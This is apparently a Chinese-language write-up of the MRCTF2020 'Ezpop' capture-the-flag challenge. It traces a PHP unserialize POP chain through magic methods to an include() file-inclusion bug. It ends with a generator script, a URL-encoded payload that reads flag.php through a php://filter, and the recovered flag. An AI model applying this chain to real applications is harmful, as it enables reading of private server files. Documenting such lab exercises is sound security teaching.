[MRCTF2020]Ezpop
1.开局就是代码审计
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
2.一步一步进行反向推敲
3.明确目的,我们想利用include()
函数进行文件包含的漏洞利用,然而include()
又在append
方法中,因此需要先触发append
方法,但是无法直接调用append
方法,只能通过__invoke()
魔术方法进行触发。
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
4.那什么时候会触发__invoke()
魔术方法呢?当对象被当做函数时,才会触发__invoke()
函数,此时,我就卡在了反推的这一步,卡的死死的。
5,反向推测先暂缓一下,使用正向思维进行探测,通过GET
的请求方式进行pop
参数的传参,然后对pop
字符串的内容进行反序列化处理。
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
6.当我们使用反序列化时,会触发__wakeup()
方法,此时的变量source
就会被当做字符串进行处理,此时就会触发__tostring()
方法
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
7.当触发__tostring()
方法后,当str
不存在时,就会触发__get()
方法,此时就会调用变量p
,此时返回的是function()
这个函数
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
8.此时的变量p
,此时我们传入Modifier
的对象,就会被当做函数返回,从而触发__invoke()
方法,此时就和卡着的第二步成功接轨。
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
9.那么反向推理的思维总结如下
include()
函数的调用<–append()
方法的触发<–__invoke()
方法的触发<–__get()
方法的触发<–__tostring()
方法的触发<–__wakeup()
方法的触发<–反序列化
10.pop
链的构造
<!--####通过pop参数,GET方式传入,然后进行反序列化,反序列化的话就会出发__wakeup()方法,这个时候$this->source就会被当做字符串进行执行-->
<!--####这个时候就会出发__tostring()方法,进行$this->str->source,这个时候str是不存在的变量,如果此时$str被当做不存在的对象执行时-->
<!--####就会出发__get()方法,就会返回$this->p,这个时候如果将对象p当做函数执行时,就会出发__invoke()方法,从而调用include()函数,-->
<!--触发文件包含漏洞。-->
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));
11.生成的pop
链
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
12.base64
在线解密得到flag
flag{3d978fdf-0807-4de2-bbe0-95efad49042d}